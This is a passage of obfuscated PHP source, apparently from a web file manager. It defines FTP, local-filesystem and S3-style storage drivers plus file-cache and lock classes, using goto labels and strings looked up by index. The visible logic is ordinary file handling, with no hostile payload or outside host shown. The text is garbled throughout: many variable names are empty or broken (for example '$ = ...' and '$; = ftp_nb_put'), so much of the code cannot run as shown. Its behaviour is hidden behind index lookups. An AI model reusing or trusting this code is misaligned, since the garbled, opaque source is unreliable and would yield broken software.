} $Ɵ[$[642]] = $󘩛; $Ɵ[$[517]] = $쫿; $[$쫿][] =& $Ɵ; if (count($[$쫿]) > 1) { $Ɵ[$[640]] = !0; } Hook::trigger($[643], $Ɵ); } unset($Ɵ); $Ƌ = array($[517] => array($[7], array_keys($))); $ = Model($[644]); $ = $->where($Ƌ)->select(); $ = $ ? $ : array(); foreach ($ as $݄) { if (!isset($[$݄[$[517]]])) { continue; } $ = $[$݄[$[517]]]; foreach ($ as &$Ɵ) { $Ɵ[$[511]] = $݄[$[511]]; $Ɵ[$[640]] = !0; } unset($Ɵ); } $ˇ = array(); foreach ($ꫨ͂ as $隓) { Hook::trigger($[645], $隓); if (isset($隓[$[640]]) && $隓[$[640]]) { Hook::trigger($[646], $隓); continue; } $ٚ = $ݺ޳->getPathInner($隓[$[86]]); $۰ = $->addFileMake($ٚ, $隓[$[78]], $隓[$[642]], $隓[$[517]], $隓[$[32]], $߅); Hook::trigger($[646], $隓); if (!is_array($۰)) { continue; } $ˇ[] = $۰; } $->addAll($ˇ); $Ƌ = array($[517] => array($[7], array_keys($))); $ = $->where($Ƌ)->select(); $ = $ ? $ : array(); foreach ($ as $݄) { if (!isset($[$݄[$[517]]])) { continue; } $ѫѨ =& $[$݄[$[517]]]; foreach ($ѫѨ as &$Ɵ) { $Ɵ[$[511]] = $݄[$[511]]; } unset($Ɵ); } $ = array(); foreach ($ꫨ͂ as $) { $[$[$[32]]] = $; } return $; } } goto Cʌ; a΍֙: class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; public $config = array(); public function __construct($‚) { parent::__construct(); if (count($‚) > 0) { $this->_init($‚); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($؃ё) { $ֵ =& $_SERVER[ʇ]; global $config; $this->appCharset = $config[$ֵ[1398]]; $this->systemCharset = $config[$ֵ[1399]]; if (isset($؃ё[$ֵ[1400]]) && $؃ё[$ֵ[1400]]) { $this->systemCharset = $؃ё[$ֵ[1400]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($׈) { $ے =& $_SERVER[ʇ]; $Ε̣ = $this->iconvApp($this->pathBase); $׈ = $this->iconvApp($׈); if (substr($Ε̣, 0, 2) == $ے[1401]) { $Ε̣ = BASIC_PATH . substr($Ε̣, 2); } if (substr($׈, 0, 2) == $ے[1401]) { $׈ = BASIC_PATH . substr($׈, 2); } $Ε̣ = KodIO::clear($Ε̣); $׈ = KodIO::clear($׈); $׈ = substr($׈, strlen($Ε̣)); if (empty($this->pathDriver)) { return $׈; } return $this->pathDriver . $ے[8] . ltrim($׈, $ے[8]); } private function _init($ = array()) { $ֶ =& $_SERVER[ʇ]; if (!function_exists($ֶ[1402])) { throw new Exception(LNG($ֶ[1403])); } $this->config = $; $this->charsetReset($); foreach ($ as $ => $θ) { if (isset($this->{$})) { $this->{$} = $θ; } } return $this->_login($); } private function _login($螱) { $ =& $_SERVER[ʇ]; static $ҹ = array(); $ݢ = md5(json_encode($螱)); if (isset($ҹ[$ݢ])) { foreach ($ҹ[$ݢ] as $֌§ => $Ҏˆ) { $this->{$֌§} = $Ҏˆ; } return !0; } $ڇ = parse_url(trim($this->server, $[8])); $this->host = $ڇ[$[198]]; $ = isset($ڇ[$[197]]) && $ڇ[$[197]] == $[1404] ? !0 : !1; $this->scheme = $ ? $[1405] : $[1406]; $this->port = isset($ڇ[$[199]]) ? $ڇ[$[199]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $܎ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ȏ = $this->pasv == $[90] ? !0 : !1; @ftp_pasv($this->connect, $ȏ); $ҹ[$ݢ] = array($[1407] => $this->connect, $[198] => $this->host, $[197] => $this->scheme, $[199] => $this->port); return $܎; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($௬, $Ҧ楀 = '', $ƣȿ = REPEAT_RENAME) { if ($this->setContent($௬, $Ҧ楀)) { return $this->getPathOuter($௬); } return !1; } public function mkdir($ˬ, $߀ܹ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ˬ = $this->iconvSystem($ˬ); if ($this->_isFolder($ˬ) || @ftp_mkdir($this->connect, $ˬ)) { return $this->getPathOuter($ˬ); } if (!$this->mkdir($this->pathFather($ˬ))) { return !1; } if ($ˬ = @ftp_mkdir($this->connect, $ˬ)) { return $this->getPathOuter($ˬ); } return !1; } public function copyFile($, $) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $ؘ = $this->tempFile($); $Ґ = $this->iconvApp($ؘ); $this->download($, $Ґ); $Ɗь = $this->upload($, $Ґ); $this->tempFileRemve($ؘ); return $Ɗь; } public function moveFile($ҍԊ, $♿) { if (!$this->_isconn()) { return !1; } $ҍԊ = $this->iconvSystem($ҍԊ); $♿ = $this->iconvSystem($♿); $ = @ftp_rename($this->connect, $ҍԊ, $♿); return $ ? $this->getPathOuter($♿) : !1; } public function delFile($ʨ) { if (!$this->_isconn()) { return !1; } $ʨ = $this->iconvSystem($ʨ); return @ftp_delete($this->connect, $ʨ); } public function delFolder($༈) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ = $汝 = array(); $this->fileList($༈, $, $汝, !0); $this->listItemCache = !0; foreach ($汝 as $ʨ) { $Ö = $this->iconvSystem($ʨ[$_SERVER[ʇ][32]]); $Й = @ftp_delete($this->connect, $Ö); if (!$Й) { return !1; } } foreach ($ as $Ö) { $Ö = $this->iconvSystem($Ö); $Й = @ftp_rmdir($this->connect, $Ö); if (!$Й) { return !1; } } $༈ = $this->iconvSystem($༈); return @ftp_rmdir($this->connect, $༈); } public function rename($ఆ, $޼) { $ɏ =& $_SERVER[ʇ]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($ఆ), $޼); $ = $this->iconvSystem($); $ఆ = $this->iconvSystem($ఆ); $ = $this->pathFather($ఆ); $ȓ = rtrim($, $ɏ[8]) . $ɏ[8] . $; $Β = @ftp_rename($this->connect, $ఆ, $ȓ); $ȓ = $this->iconvApp($ȓ); return $Β ? $this->getPathOuter($ȓ) : !1; } private function folderInfo($, $ = false) { $ =& $_SERVER[ʇ]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[77]); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; return $; } private function fileInfo($, $ = false, $׃ = array()) { $ǎ =& $_SERVER[ʇ]; $냊 = array($ǎ[32] => $this->pathThis($), $ǎ[86] => $this->getPathOuter($ǎ[8] . $), $ǎ[33] => $ǎ[216], $ǎ[78] => isset($׃[$ǎ[78]]) ? $׃[$ǎ[78]] : 0, $ǎ[177] => $this->ext($)); if ($) { return $냊; } $냊[$ǎ[217]] = $냊[$ǎ[87]] = 0; $냊[$ǎ[218]] = $냊[$ǎ[219]] = !0; $Ǥ = $this->iconvSystem($); $냊[$ǎ[87]] = @ftp_mdtm($this->connect, $Ǥ); if (empty($׃)) { $׃ = $this->objectMeta($); if (!$׃) { return $냊; } } $냊[$ǎ[78]] = $׃[$ǎ[78]]; return $냊; } public function size($⌅) { $ = $this->objectMeta($⌅); return $ ? $[$_SERVER[ʇ][78]] : 0; } public function info($ؓ޳) { if ($this->isFile($ؓ޳)) { return $this->fileInfo($ؓ޳, 0); } else { if ($this->isFolder($ؓ޳)) { return $this->folderInfo($ؓ޳); } } return !1; } private function fileList($ج, &$, &$൹ˌ, $ю = false) { $ֳ =& $_SERVER[ʇ]; $ج = $this->iconvSystem($ج); if (!$this->isFolder($ج)) { return !1; } @ftp_chdir($this->connect, $ֳ[8]); $ج = rtrim($ج, $ֳ[8]) . $ֳ[8]; check_abort(); $ = @ftp_rawlist($this->connect, $ج); if (!$) { $ = array(); } $峳 = array($ֳ[10] => 1, $ֳ[1325] => 1); foreach ($ as $˛) { $– = $this->_listItem($˛); if ($–[0] == $ֳ[797]) { continue; } $ܝ = $–[8]; if (empty($ܝ) && $ܝ !== $ֳ[214] || isset($峳[$ܝ])) { continue; } $ܝ = $this->iconvApp($ج . ltrim($ܝ, $ֳ[8])); $ڍ = array($ֳ[32] => $ܝ, $ֳ[33] => $ֳ[216], $ֳ[78] => $–[4]); if (substr($˛, 0, 1) == $ֳ[1408]) { $ڍ[$ֳ[33]] = $ֳ[77]; $ڍ[$ֳ[78]] = 0; } $ѽ = $ڍ[$ֳ[33]] == $ֳ[77] ? !0 : !1; $this->cacheMethodInfoSet($ܝ, $ѽ, $ڍ); if ($ѽ) { $[] = $ܝ; if ($ю) { $this->fileList($ܝ, $, $൹ˌ, $ю); } continue; } $൹ˌ[] = $ڍ; } $this->cacheMethodInfoSet($ج, !0); } private function _listItem($镌) { if (empty($镌)) { return array(); } $ = preg_split($_SERVER[ʇ][1409], $镌); if (count($) <= 9) { return $; } $[8] = trim(substr($镌, strpos($镌, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($ւ, $ત = false) { $⧁ =& $_SERVER[ʇ]; if (!$this->_isconn()) { return !1; } $ڞ = $ѝ = array(); $this->fileList($ւ, $ڞ, $ѝ); foreach ($ڞ as $疷 => $) { $ڞ[$疷] = $this->folderInfo($, $ત); } foreach ($ѝ as $疷 => $) { $ѝ[$疷] = $this->fileInfo($[$⧁[32]], $ત, $); } return array($⧁[84] => $ڞ, $⧁[85] => $ѝ); } public function has($͹, $ߒ = false, $ٟ̍ = true) { $Ʌ =& $_SERVER[ʇ]; $ݡ = $ = array(); $ۘ = $ߒ ? !0 : !1; $this->fileList($͹, $ݡ, $, $ۘ); if ($ߒ) { return array($Ʌ[225] => count($), $Ʌ[226] => count($ݡ)); } if ($ٟ̍) { if (count($)) { return !0; } } else { if (count($ݡ)) { return !0; } } return !1; } public function listAll($) { $؅ =& $_SERVER[ʇ]; if (!$this->_isconn()) { return !1; } $蛒 = $ = array(); $this->fileList($, $蛒, $, !0); $ំ = array_to_keyvalue($, $؅[32]); foreach ($蛒 as $ۛ) { if (is_string($ۛ)) { $ំ[$ۛ] = array($؅[78] => 0); } } return $this->listAllFiles($, $ំ); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return $this->fileSubstr($); } public function setContent($ƪ, $ֽИ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($ƪ)); $ = $this->tempFile($); file_put_contents($, $ֽИ); $ڄ̖ = $this->upload($ƪ, $this->iconvApp($)); $this->tempFileRemve($); return $ڄ̖; } public function fileSubstr($, $ = 0, $Ӥ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $, $Ӥ); } private function ftpRequest($, $熳 = 0, $ = false) { $ = $this->iconvSystem($); $󿮥 = $this->scheme . $this->host . $_SERVER[ʇ][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $󿮥 . $this->pathEncode($)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($) { $і = $熳 + $ - 1; curl_setopt($, CURLOPT_RANGE, "{$熳}\x2d{$і}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($, $Ӣ, $˴ = false, $䑞 = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $Ӣ = $this->iconvSystem($Ӣ); $; = ftp_nb_put($this->connect, $, $Ӣ, FTP_BINARY); while ($; == FTP_MOREDATA) { $; = ftp_nb_continue($this->connect); } if ($; != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($ھΠѮ, $ָꍾ = '') { if (!$this->_isconn()) { return !1; } $֣ = $this->pathFather($ָꍾ); if (!IO::mkdir($֣)) { return !1; } $ھΠѮ = $this->iconvSystem($ھΠѮ); $ָꍾ = $this->iconvSystem($ָꍾ); $ā = ftp_nb_get($this->connect, $ָꍾ, $ھΠѮ, FTP_BINARY); while ($ā == FTP_MOREDATA) { $ā = ftp_nb_continue($this->connect); } if ($ā != FTP_FINISHED) { return !1; } return $this->iconvApp($ָꍾ); } public function exist($އ) { return $this->isFile($އ) || $this->isFolder($އ); } public function isFile($רȧ) { return !$this->isFolder($רȧ) && $this->objectMeta($רȧ); } public function isFolder($) { return $this->cacheMethod($_SERVER[ʇ][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ʇ][170], $); } protected function _objectMeta($Ī) { $Ԉ =& $_SERVER[ʇ]; if ($Ī == $Ԉ[12] || $Ī == $Ԉ[8]) { return array(); } if (!$this->_isconn()) { return !1; } $Ī = $this->iconvSystem($Ī); $ = array($Ԉ[32] => $this->iconvApp($Ī), $Ԉ[33] => $Ԉ[216], $Ԉ[78] => 0); @ftp_chdir($this->connect, $Ԉ[8]); $ = @ftp_size($this->connect, $Ī); if ($ != -1) { $[$Ԉ[78]] = $; } else { $Ɵ = @ftp_chdir($this->connect, $Ī); if (!$Ɵ) { return !1; } $[$Ԉ[33]] = $Ԉ[77]; } return $; } protected function _isFolder($) { $Ͱ =& $_SERVER[ʇ]; if ($ == $Ͱ[12] || $ == $Ͱ[8]) { return !0; } $惾 = $this->_objectMeta($); return isset($惾[$Ͱ[33]]) && $惾[$Ͱ[33]] == $Ͱ[77] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($󞄄) { if (substr($󞄄, 0, 2) == $_SERVER[ʇ][1401]) { $󞄄 = BASIC_PATH . substr($󞄄, 2); } return $󞄄; } public function iconvApp($ۜ) { $ج =& $_SERVER[ʇ]; global $config; return $this->iconvTo($ۜ, $config[$ج[1399]], $config[$ج[1398]]); } public function iconvSystem($Я) { $ =& $_SERVER[ʇ]; global $config; return $this->iconvTo($Я, $config[$[1398]], $config[$[1399]]); } public function getPathOuter($) { $劦 =& $_SERVER[ʇ]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $劦[1401]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $劦[1401]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $劦[8] . ltrim($, $劦[8]); } public function mkfile($ֲЦ, $茦 = '', $ = REPEAT_RENAME) { $ֲЦ = $this->iconvSystem($ֲЦ); @touch($ֲЦ); if ($茦) { file_put_contents($ֲЦ, $茦); } @chmod($ֲЦ, $this->pathAuth); return is_file($ֲЦ) ? $this->getPathOuter($ֲЦ) : !1; } public function mkdir($趥, $܌ = REPEAT_SKIP) { $趥 = $this->iconvSystem($趥); if (is_dir($趥)) { return $this->getPathOuter($趥); } @mkdir($趥, $this->pathAuth, !0); @chmod($趥, $this->pathAuth); return is_dir($趥) ? $this->getPathOuter($趥) : !1; } public function copyFile($, $ݘο) { $this->mkdir($this->pathFather($ݘο)); $ = $this->iconvSystem($); $ݘο = $this->iconvSystem($ݘο); $ = copy_64($, $ݘο); @chmod($ݘο, $this->pathAuth); return $ ? $this->getPathOuter($ݘο) : !1; } public function moveFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = intval(@rename($, $)); if (!$) { if ($ = intval(@copy_64($, $))) { @unlink($); } } @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function movePath($, $ş, $ = false) { $ =& $_SERVER[ʇ]; $ = $this->iconvSystem($); $ş = $this->iconvSystem($ş); $ǫ = rtrim($ş, $[8]) . $[8] . ($ ? $ : get_path_this($)); if (file_exists($ǫ)) { return !1; } $ϫ = intval(@rename($, $ǫ)); $ϫ = file_exists($ǫ); return $ϫ ? $this->getPathOuter($ǫ) : !1; } public function delFile($֠) { $֠ = $this->iconvSystem($֠); if (!@unlink($֠)) { @chmod($֠, $this->pathAuth); if (!@unlink($֠)) { return !1; } } else { return !0; } } public function delFolder($񕥼) { $ =& $_SERVER[ʇ]; $񕥼 = $this->iconvSystem($񕥼); if (!is_dir($񕥼)) { return !0; } if (!($ = opendir($񕥼))) { return !1; } while (($׳ = readdir($)) !== !1) { if ($׳ == $[10] || $׳ == $[1325]) { continue; } $ = $񕥼 . $[8] . $׳; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($񕥼); } public function rename($, $) { $ټ =& $_SERVER[ʇ]; $ר = $this->fileNameAuto($this->pathFather($), $); $ר = $this->iconvSystem($ר); $ = $this->iconvSystem($); $؇ = $this->pathFather($); $ü = rtrim($؇, $ټ[8]) . $ټ[8] . $ר; $˲ = @rename($, $ü); $ü = $this->iconvApp($ü); return $˲ ? $this->getPathOuter($ü) : !1; } public function size($Ў) { $Ў = $this->iconvSystem($Ў); return filesize_64($Ў); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($, &$, $ڶ = true) { $ץ =& $_SERVER[ʇ]; check_abort_echo(); $ = rtrim($, $ץ[8]) . $ץ[8]; if ($ڶ) { $ = $this->iconvSystem($); } if (!($ = @opendir($))) { return; } while (($摚 = readdir($)) !== !1) { if ($摚 == $ץ[10] || $摚 == $ץ[1325]) { continue; } $ = $ . $摚; if (is_file($) || is_link($)) { $[$ץ[79]]++; $[$ץ[78]] += filesize_64($); } else { if (is_dir($)) { $[$ץ[80]]++; $this->infoChildren($, $, !1); } } } closedir($); } private function folderInfo($, $ι = false) { $Ĺ =& $_SERVER[ʇ]; $ = rtrim($, $Ĺ[8]) . $Ĺ[8]; $ϓ = $this->iconvApp($this->pathThis($)); if ($ι) { return array($Ĺ[32] => $ϓ, $Ĺ[86] => $this->getPathOuter($), $Ĺ[33] => $Ĺ[77]); } $ν = array($Ĺ[32] => $ϓ, $Ĺ[86] => $this->getPathOuter($), $Ĺ[33] => $Ĺ[77], $Ĺ[217] => @filectime($), $Ĺ[87] => @filemtime($), $Ĺ[1410] => @fileatime($), $Ĺ[1411] => is_readable($), $Ĺ[1412] => is_writable($), $Ĺ[1413] => get_mode($)); return $ν; } private function fileInfo($縼, $ĉ = false) { $ =& $_SERVER[ʇ]; $¤ = $this->iconvApp($this->pathThis($縼)); if ($ĉ) { return array($[32] => $¤, $[86] => $this->getPathOuter($縼), $[33] => $[216], $[78] => $this->size($縼), $[177] => $this->ext($¤)); } $뜎Ν = array($[32] => $¤, $[86] => $this->getPathOuter($縼), $[33] => $[216], $[217] => @filectime($縼), $[87] => @filemtime($縼), $[1410] => @fileatime($縼), $[78] => $this->size($縼), $[177] => $this->ext($¤), $[1411] => is_readable($縼), $[1412] => is_writable($縼), $[1413] => get_mode($縼)); return $뜎Ν; } public function exist($Խ) { $Խ = $this->iconvSystem($Խ); return @file_exists($Խ); } public function isFile($ʿ) { $ʿ = $this->iconvSystem($ʿ); return @is_file($ʿ); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($ũ, $ѕ = false) { $ =& $_SERVER[ʇ]; $ũ = $this->iconvSystem($ũ); $ũ = rtrim($ũ, $[8]) . $[8]; $ň٦ = array($[84] => array(), $[85] => array()); if (!($紧 = @opendir($ũ))) { return $ň٦; } while (($꞉ = readdir($紧)) !== !1) { if ($꞉ == $[10] || $꞉ == $[1325]) { continue; } $ = $ũ . $꞉; if (is_file($)) { $ň٦[$[85]][] = $this->fileInfo($, $ѕ); } else { $ň٦[$[84]][] = $this->folderInfo($, $ѕ); } } closedir($紧); return $ň٦; } public function listAll($М, &$ = array()) { $ؼͷ =& $_SERVER[ʇ]; $М = $this->iconvSystem($М); $М = rtrim($М, $ؼͷ[8]) . $ؼͷ[8]; if (!($ = @opendir($М))) { return $; } while (($Ǟ = readdir($)) !== !1) { if ($Ǟ == $ؼͷ[10] || $Ǟ == $ؼͷ[1325]) { continue; } $· = $М . $Ǟ; $ӯ = is_dir($·) && !is_link($·) ? 1 : 0; $· = $ӯ ? $· . $ؼͷ[8] : $·; $[] = array($ؼͷ[86] => $·, $ؼͷ[77] => $ӯ, $ؼͷ[87] => intval(@filemtime($·)), $ؼͷ[78] => $ӯ ? 0 : intval($this->size($·))); if ($ӯ) { $this->listAll($·, $); } } closedir($); return $; } public function has($, $͐ = false, $ = true) { $ܒ =& $_SERVER[ʇ]; $ = $this->iconvSystem($); $ = rtrim($, $ܒ[8]) . $ܒ[8]; if (!($ = @opendir($))) { return !1; } $ = 0; $ݚ = 0; $¿Ī = 0; while (($ = readdir($)) !== !1) { if ($ == $ܒ[10] || $ == $ܒ[1325]) { continue; } $ = $ . $; if ($͐) { $¿Ī++; if (@is_file($)) { $++; } else { $ݚ++; } if ($¿Ī > 10000) { break; } continue; } if ($) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $ܒ[8])) { return !0; } } } closedir($); if ($͐) { return array($ܒ[225] => $, $ܒ[226] => $ݚ); } return !1; } public function hashSimple($) { $Ǟ =& $_SERVER[ʇ]; if (!$) { return md5($Ǟ[12]); } $ = $this->iconvSystem($); $ݐ = $this->size($); $ = 200; $꩗ = 50; if ($ݐ <= $ * $꩗) { return $this->hashMd5($) . $ݐ; } $ = $Ǟ[12]; $ұ = intval($ݐ / $꩗); $ = fopen($, $Ǟ[1414]); if (!$) { return $; } for ($ = 0; $ < $꩗; $++) { fseek_64($, $ұ * $); $ .= fread($, $); } fseek_64($, $ݐ - $); $ .= fread($, $); fclose($); return md5($) . $ݐ; } public function getContent($䆂) { $䆂 = $this->iconvSystem($䆂); return file_get_contents($䆂); } public function setContent($, $˅ = '') { $ = $this->iconvSystem($); $ = @file_put_contents($, $˅, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($ˣ, $Ķ = 0, $㧼 = false) { $莞 =& $_SERVER[ʇ]; $ˣ = $this->iconvSystem($ˣ); if ($㧼 === !1) { $㧼 = $this->size($ˣ); } if ($㧼 <= 0) { return $莞[12]; } $Յ = fopen($ˣ, $莞[1414]); if (!$Յ) { return !1; } fseek_64($Յ, $Ķ); $ = fread($Յ, $㧼); fclose($Յ); return $; } public function upload($豸, $, $ = false, $Е = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $豸); } return $this->copyFile($, $豸); } public function setModifyTime($˕, $ = '') { @touch($˕, intval($)); } public function download($ײ, $) { return $this->iconvSystem($ײ); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[ʇ][233]); } public function fileOutImage($Ъ, $՞ = 250) { $٘ҋ =& $_SERVER[ʇ]; if ($this->size($Ъ) > 1024 * 1024 * 25) { return $this->fileOutImageServer($Ъ, $՞); } $ = array($٘ҋ[1415] => $٘ҋ[1416] . $՞ . $٘ҋ[1417]); $ȗ = $this->link($Ъ, $); $this->fileOutLink($ȗ); } public function fileOutLink($) { $߬ =& $_SERVER[ʇ]; if (substr($, 0, 7) == $߬[1378]) { $ = $߬[1379] . substr($, 7); } header($߬[164] . $); die; } } goto a; A̽: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($ړ, $ҼŘ) { $Ʀˮ =& $_SERVER[ʇ]; $this->cachePath = $ړ[$Ʀˮ[86]]; $this->prefix = $Ʀˮ[881]; $this->cacheTime = $ҼŘ; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $ =& $_SERVER[ʇ]; $ = str_replace(array($[882], $[99], $[75]), $[883], $); return $this->cachePath . $[884] . $ . $[885]; } public function set($ܫ, $ܡ̌, $롥ס = false) { $롥ס = $롥ס ? $롥ס : $this->cacheTime; $ć = $this->getFile($ܫ); if (file_put_contents($ć, $this->prefix . $ܡ̌, LOCK_EX)) { @touch($ć, intval(time() + $롥ס)); clearstatcache(); return !0; } @unlink($ć); return !1; } public function get($׽©) { $ = $this->getFile($׽©); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($־܌) { $ = $this->getFile($־܌); return @unlink($); } public function deleteAll() { $ =& $_SERVER[ʇ]; $寕 = scandir($this->cachePath); foreach ($寕 as $) { $̐ = $this->cachePath . $; if (strpos($̐, $[885]) && strpos($̐, $[886])) { @unlink($̐); } } } public function clearTimeout() { $ =& $_SERVER[ʇ]; $“ = scandir($this->cachePath); foreach ($“ as $ݑ) { $ = $this->cachePath . $ݑ; if (strpos($, $[885]) && strpos($, $[886]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[ʇ]; if (self::$handle) { return self::$handle; } $ˠ = $GLOBALS[$[6]][$[395]]; self::$timeout = $ˠ[$[887]] ? $ˠ[$[887]] : 10; $ = _get($GLOBALS[$[6]], $[888]); $’ = $ˠ[$[873]] ? $ˠ[$[873]] : $[216]; if ($’ == $[21] && $ == $[13]) { $’ = $[216]; } switch ($’) { case $[876]: self::$handle = new CacheLockRedis(); break; case $[877]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[216]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[889], $[890]); } return self::$handle; } private static function key($) { return $_SERVER[ʇ][891] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($, $Œ) { return self::lock($, $Œ, !0); } public static function lock($, $ח = false, $ = false) { $… =& $_SERVER[ʇ]; $ = self::init(); $⒭ = self::key($); $ח = $ח ? $ח : self::$timeout; $ = timeFloat(); $Ѓ = $->lock($⒭, $ח); $ = timeFloat(); if (!$Ѓ) { $瓫 = "\x6c\x6f\x63\x6b\40\145\x72\162\157\162\73\153\x65\171\x3d{$}\x3b\164\x69\x6d\145\x3d{$ח}\x3b" . self::$errorMsg . $…[73] . get_caller_msg(); $Ҫߛ = LNG($…[892]) . "\50{$ח}\x73\x29\56" . LNG($…[893]); $Ҫߛ .= $…[894]; if (is_string(self::$errorMsg) && self::$errorMsg) { $Ҫߛ = $Ҫߛ . $…[895] . self::$errorMsg; } write_log($…[896] . sprintf($…[897], timeFloat() - $) . $…[898] . $瓫 . $…[899] . error_get_last(), $…[890]); show_json($Ҫߛ, !1); } if (!$) { self::$lockItem[$⒭] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ޑ = number_format(timeFloat() - $, 3); write_log($…[900] . $ . $…[901] . $ޑ, $…[890]); } return $Ѓ; } public static function lockGet($) { $ = self::key($); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $裣 =& $_SERVER[ʇ]; $܏ = self::key($); self::$lockItem[$܏] = null; self::init()->unlock($܏); if (GLOBAL_DEBUG_LOG_ALL) { write_log($裣[902] . $, $裣[890]); } return; } public static function unlockRuntime() { $ =& $_SERVER[ʇ]; $ێ = self::init(); $ȉ = !1; foreach (self::$lockItem as $查 => $) { if (!$) { continue; } $ێ->unlock($查); if (!$ȉ) { $ȉ = !0; write_log($[903] . $查 . $[73] . get_caller_msg(), $[890]); continue; } write_log($[903] . $查, $[890]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $׀̽ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[904] . $׀̽ . $[905] . ACTION, $[890]); } } public static function fileLock($) { $γ =& $_SERVER[ʇ]; if (!$GLOBALS[$γ[906]]) { $GLOBALS[$γ[906]] = array(); } $GLOBALS[$γ[906]][$] = !1; $ٮ = fopen(DATA_PATH . $ . $γ[907], $γ[908]); if (!$ٮ) { return !1; } $GLOBALS[$γ[906]][$] = $ٮ; if (flock($ٮ, LOCK_EX)) { return !0; } self::unlock($); show_json($γ[909], !1); return !1; } public static function fileUnlock($) { $֯ =& $_SERVER[ʇ]; $ۡ = $GLOBALS[$֯[906]][$]; if (!$ۡ) { return; } $GLOBALS[$֯[906]][$] = !1; flock($ۡ, LOCK_UN); fclose($ۡ); } public static function fileUnlockAll() { $ =& $_SERVER[ʇ]; if (!$GLOBALS[$[906]]) { return; } foreach ($GLOBALS[$[906]] as $̕ => $) { if (!$) { continue; } $GLOBALS[$[906]][$̕] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$[906]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto c̐; CÌ: class PathDriverBOS extends PathDriverBaseS3 { public function __construct($،) { parent::__construct($،); } public function getHost() { $ը =& $_SERVER[ʇ]; $ = str_rtrim(parent::getHost(), $ը[8] . $this->bucket); $ = explode($ը[200], $); return $[0] . $ը[200] . $this->bucket . $ը[1371] . $[1]; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($ҽ) { parent::__construct($ҽ); $this->signatureVersion($_SERVER[ʇ][233]); } public function uploadFormData($Ѹޡ, $Ӕ = 3600) { $ӪԚ =& $_SERVER[ʇ]; $㶕 = $ӪԚ[215]; $ⱪ = $ӪԚ[249]; $Ѻ̱ = $ӪԚ[259]; $ѵС = 